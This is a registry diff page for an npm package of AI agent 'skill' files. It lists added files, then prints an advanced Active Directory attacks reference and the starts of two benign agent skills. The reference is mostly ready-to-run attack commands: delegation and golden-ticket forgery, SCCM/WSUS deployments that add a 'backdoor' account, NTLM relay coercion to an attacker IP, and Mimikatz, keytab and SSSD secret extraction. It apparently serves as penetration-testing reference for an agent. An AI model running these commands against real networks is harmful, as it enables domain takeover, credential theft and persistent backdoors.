@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,382 @@
|
|
|
1
|
+
# Advanced Active Directory Attacks Reference
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
1. [Delegation Attacks](#delegation-attacks)
|
|
5
|
+
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
|
6
|
+
3. [RODC Attacks](#rodc-attacks)
|
|
7
|
+
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
|
8
|
+
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
|
9
|
+
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
|
10
|
+
7. [ADFS Golden SAML](#adfs-golden-saml)
|
|
11
|
+
8. [Credential Sources](#credential-sources)
|
|
12
|
+
9. [Linux AD Integration](#linux-ad-integration)
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Delegation Attacks
|
|
17
|
+
|
|
18
|
+
### Unconstrained Delegation
|
|
19
|
+
|
|
20
|
+
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
|
21
|
+
|
|
22
|
+
**Find Delegation:**
|
|
23
|
+
```powershell
|
|
24
|
+
# PowerShell
|
|
25
|
+
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
|
26
|
+
|
|
27
|
+
# BloodHound
|
|
28
|
+
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
**SpoolService Abuse:**
|
|
32
|
+
```bash
|
|
33
|
+
# Check spooler service
|
|
34
|
+
ls \\dc01\pipe\spoolss
|
|
35
|
+
|
|
36
|
+
# Trigger with SpoolSample
|
|
37
|
+
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
|
38
|
+
|
|
39
|
+
# Or with printerbug.py
|
|
40
|
+
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**Monitor with Rubeus:**
|
|
44
|
+
```powershell
|
|
45
|
+
Rubeus.exe monitor /interval:1
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Constrained Delegation
|
|
49
|
+
|
|
50
|
+
**Identify:**
|
|
51
|
+
```powershell
|
|
52
|
+
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**Exploit with Rubeus:**
|
|
56
|
+
```powershell
|
|
57
|
+
# S4U2 attack
|
|
58
|
+
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Exploit with Impacket:**
|
|
62
|
+
```bash
|
|
63
|
+
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Resource-Based Constrained Delegation (RBCD)
|
|
67
|
+
|
|
68
|
+
```powershell
|
|
69
|
+
# Create machine account
|
|
70
|
+
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
|
71
|
+
|
|
72
|
+
# Set delegation
|
|
73
|
+
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
|
74
|
+
|
|
75
|
+
# Get ticket
|
|
76
|
+
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## Group Policy Object Abuse
|
|
82
|
+
|
|
83
|
+
### Find Vulnerable GPOs
|
|
84
|
+
|
|
85
|
+
```powershell
|
|
86
|
+
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
### Abuse with SharpGPOAbuse
|
|
90
|
+
|
|
91
|
+
```powershell
|
|
92
|
+
# Add local admin
|
|
93
|
+
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
94
|
+
|
|
95
|
+
# Add user rights
|
|
96
|
+
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
97
|
+
|
|
98
|
+
# Add immediate task
|
|
99
|
+
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Abuse with pyGPOAbuse (Linux)
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## RODC Attacks
|
|
111
|
+
|
|
112
|
+
### RODC Golden Ticket
|
|
113
|
+
|
|
114
|
+
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
|
115
|
+
|
|
116
|
+
### RODC Key List Attack
|
|
117
|
+
|
|
118
|
+
**Requirements:**
|
|
119
|
+
- krbtgt credentials of the RODC (-rodcKey)
|
|
120
|
+
- ID of the krbtgt account of the RODC (-rodcNo)
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# Impacket keylistattack
|
|
124
|
+
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
|
125
|
+
|
|
126
|
+
# Using secretsdump with keylist
|
|
127
|
+
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Using Rubeus:**
|
|
131
|
+
```powershell
|
|
132
|
+
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## SCCM/WSUS Deployment
|
|
138
|
+
|
|
139
|
+
### SCCM Attack with MalSCCM
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
# Locate SCCM server
|
|
143
|
+
MalSCCM.exe locate
|
|
144
|
+
|
|
145
|
+
# Enumerate targets
|
|
146
|
+
MalSCCM.exe inspect /all
|
|
147
|
+
MalSCCM.exe inspect /computers
|
|
148
|
+
|
|
149
|
+
# Create target group
|
|
150
|
+
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
|
151
|
+
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
|
152
|
+
|
|
153
|
+
# Create malicious app
|
|
154
|
+
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
|
155
|
+
|
|
156
|
+
# Deploy
|
|
157
|
+
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
|
158
|
+
|
|
159
|
+
# Force checkin
|
|
160
|
+
MalSCCM.exe checkin /groupname:TargetGroup
|
|
161
|
+
|
|
162
|
+
# Cleanup
|
|
163
|
+
MalSCCM.exe app /cleanup /name:backdoor
|
|
164
|
+
MalSCCM.exe group /delete /groupname:TargetGroup
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### SCCM Network Access Accounts
|
|
168
|
+
|
|
169
|
+
```powershell
|
|
170
|
+
# Find SCCM blob
|
|
171
|
+
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
|
172
|
+
|
|
173
|
+
# Decrypt with SharpSCCM
|
|
174
|
+
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### WSUS Deployment Attack
|
|
178
|
+
|
|
179
|
+
```bash
|
|
180
|
+
# Using SharpWSUS
|
|
181
|
+
SharpWSUS.exe locate
|
|
182
|
+
SharpWSUS.exe inspect
|
|
183
|
+
|
|
184
|
+
# Create malicious update
|
|
185
|
+
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
|
186
|
+
|
|
187
|
+
# Deploy to target
|
|
188
|
+
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
189
|
+
|
|
190
|
+
# Check status
|
|
191
|
+
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
|
192
|
+
|
|
193
|
+
# Cleanup
|
|
194
|
+
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## AD Certificate Services (ADCS)
|
|
200
|
+
|
|
201
|
+
### ESC1 - Misconfigured Templates
|
|
202
|
+
|
|
203
|
+
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
# Find vulnerable templates
|
|
207
|
+
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
|
208
|
+
|
|
209
|
+
# Request certificate as admin
|
|
210
|
+
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
|
211
|
+
|
|
212
|
+
# Authenticate
|
|
213
|
+
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### ESC4 - ACL Vulnerabilities
|
|
217
|
+
|
|
218
|
+
```python
|
|
219
|
+
# Check for WriteProperty
|
|
220
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
|
221
|
+
|
|
222
|
+
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
|
223
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
|
224
|
+
|
|
225
|
+
# Perform ESC1, then restore
|
|
226
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### ESC8 - NTLM Relay to Web Enrollment
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Start relay
|
|
233
|
+
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
234
|
+
|
|
235
|
+
# Coerce authentication
|
|
236
|
+
python3 petitpotam.py ATTACKER_IP DC_IP
|
|
237
|
+
|
|
238
|
+
# Use certificate
|
|
239
|
+
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
### Shadow Credentials
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
# Add Key Credential (pyWhisker)
|
|
246
|
+
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
|
247
|
+
|
|
248
|
+
# Get TGT with PKINIT
|
|
249
|
+
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
|
250
|
+
|
|
251
|
+
# Get NT hash
|
|
252
|
+
export KRB5CCNAME=target.ccache
|
|
253
|
+
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## Trust Relationship Attacks
|
|
259
|
+
|
|
260
|
+
### Child to Parent Domain (SID History)
|
|
261
|
+
|
|
262
|
+
```powershell
|
|
263
|
+
# Get Enterprise Admins SID from parent
|
|
264
|
+
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
|
265
|
+
|
|
266
|
+
# Create Golden Ticket with SID History
|
|
267
|
+
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
### Forest to Forest (Trust Ticket)
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# Dump trust key
|
|
274
|
+
lsadump::trust /patch
|
|
275
|
+
|
|
276
|
+
# Forge inter-realm TGT
|
|
277
|
+
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
|
278
|
+
|
|
279
|
+
# Use trust ticket
|
|
280
|
+
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## ADFS Golden SAML
|
|
286
|
+
|
|
287
|
+
**Requirements:**
|
|
288
|
+
- ADFS service account access
|
|
289
|
+
- Token signing certificate (PFX + decryption password)
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
# Dump with ADFSDump
|
|
293
|
+
.\ADFSDump.exe
|
|
294
|
+
|
|
295
|
+
# Forge SAML token
|
|
296
|
+
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Credential Sources
|
|
302
|
+
|
|
303
|
+
### LAPS Password
|
|
304
|
+
|
|
305
|
+
```powershell
|
|
306
|
+
# PowerShell
|
|
307
|
+
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
|
308
|
+
|
|
309
|
+
# CrackMapExec
|
|
310
|
+
crackmapexec ldap DC_IP -u user -p password -M laps
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### GMSA Password
|
|
314
|
+
|
|
315
|
+
```powershell
|
|
316
|
+
# PowerShell + DSInternals
|
|
317
|
+
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
|
318
|
+
$mp = $gmsa.'msDS-ManagedPassword'
|
|
319
|
+
ConvertFrom-ADManagedPasswordBlob $mp
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
# Linux with bloodyAD
|
|
324
|
+
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
### Group Policy Preferences (GPP)
|
|
328
|
+
|
|
329
|
+
```bash
|
|
330
|
+
# Find in SYSVOL
|
|
331
|
+
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
|
332
|
+
|
|
333
|
+
# Decrypt
|
|
334
|
+
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
### DSRM Credentials
|
|
338
|
+
|
|
339
|
+
```powershell
|
|
340
|
+
# Dump DSRM hash
|
|
341
|
+
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
|
342
|
+
|
|
343
|
+
# Enable DSRM admin logon
|
|
344
|
+
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
---
|
|
348
|
+
|
|
349
|
+
## Linux AD Integration
|
|
350
|
+
|
|
351
|
+
### CCACHE Ticket Reuse
|
|
352
|
+
|
|
353
|
+
```bash
|
|
354
|
+
# Find tickets
|
|
355
|
+
ls /tmp/ | grep krb5cc
|
|
356
|
+
|
|
357
|
+
# Use ticket
|
|
358
|
+
export KRB5CCNAME=/tmp/krb5cc_1000
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
### Extract from Keytab
|
|
362
|
+
|
|
363
|
+
```bash
|
|
364
|
+
# List keys
|
|
365
|
+
klist -k /etc/krb5.keytab
|
|
366
|
+
|
|
367
|
+
# Extract with KeyTabExtract
|
|
368
|
+
python3 keytabextract.py /etc/krb5.keytab
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### Extract from SSSD
|
|
372
|
+
|
|
373
|
+
```bash
|
|
374
|
+
# Database location
|
|
375
|
+
/var/lib/sss/secrets/secrets.ldb
|
|
376
|
+
|
|
377
|
+
# Key location
|
|
378
|
+
/var/lib/sss/secrets/.secrets.mkey
|
|
379
|
+
|
|
380
|
+
# Extract
|
|
381
|
+
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
|
382
|
+
```
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agent-evaluation
|
|
3
|
+
description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent."
|
|
4
|
+
source: vibeship-spawner-skills (Apache 2.0)
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Agent Evaluation
|
|
8
|
+
|
|
9
|
+
You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
|
|
10
|
+
production. You've learned that evaluating LLM agents is fundamentally different from
|
|
11
|
+
testing traditional software—the same input can produce different outputs, and "correct"
|
|
12
|
+
often has no single answer.
|
|
13
|
+
|
|
14
|
+
You've built evaluation frameworks that catch issues before production: behavioral regression
|
|
15
|
+
tests, capability assessments, and reliability metrics. You understand that the goal isn't
|
|
16
|
+
100% test pass rate—it
|
|
17
|
+
|
|
18
|
+
## Capabilities
|
|
19
|
+
|
|
20
|
+
- agent-testing
|
|
21
|
+
- benchmark-design
|
|
22
|
+
- capability-assessment
|
|
23
|
+
- reliability-metrics
|
|
24
|
+
- regression-testing
|
|
25
|
+
|
|
26
|
+
## Requirements
|
|
27
|
+
|
|
28
|
+
- testing-fundamentals
|
|
29
|
+
- llm-fundamentals
|
|
30
|
+
|
|
31
|
+
## Patterns
|
|
32
|
+
|
|
33
|
+
### Statistical Test Evaluation
|
|
34
|
+
|
|
35
|
+
Run tests multiple times and analyze result distributions
|
|
36
|
+
|
|
37
|
+
### Behavioral Contract Testing
|
|
38
|
+
|
|
39
|
+
Define and test agent behavioral invariants
|
|
40
|
+
|
|
41
|
+
### Adversarial Testing
|
|
42
|
+
|
|
43
|
+
Actively try to break agent behavior
|
|
44
|
+
|
|
45
|
+
## Anti-Patterns
|
|
46
|
+
|
|
47
|
+
### ❌ Single-Run Testing
|
|
48
|
+
|
|
49
|
+
### ❌ Only Happy Path Tests
|
|
50
|
+
|
|
51
|
+
### ❌ Output String Matching
|
|
52
|
+
|
|
53
|
+
## ⚠️ Sharp Edges
|
|
54
|
+
|
|
55
|
+
| Issue | Severity | Solution |
|
|
56
|
+
|-------|----------|----------|
|
|
57
|
+
| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
|
|
58
|
+
| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
|
|
59
|
+
| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
|
|
60
|
+
| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
|
|
61
|
+
|
|
62
|
+
## Related Skills
|
|
63
|
+
|
|
64
|
+
Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agent-memory-mcp
|
|
3
|
+
author: Amit Rathiesh
|
|
4
|
+
description: A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions).
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Agent Memory Skill
|
|
8
|
+
|
|
9
|
+
This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
|
|
10
|
+
|
|
11
|
+
## Prerequisites
|
|
12
|
+
|
|
13
|
+
- Node.js (v18+)
|
|
14
|
+
|
|
15
|
+
## Setup
|
|
16
|
+
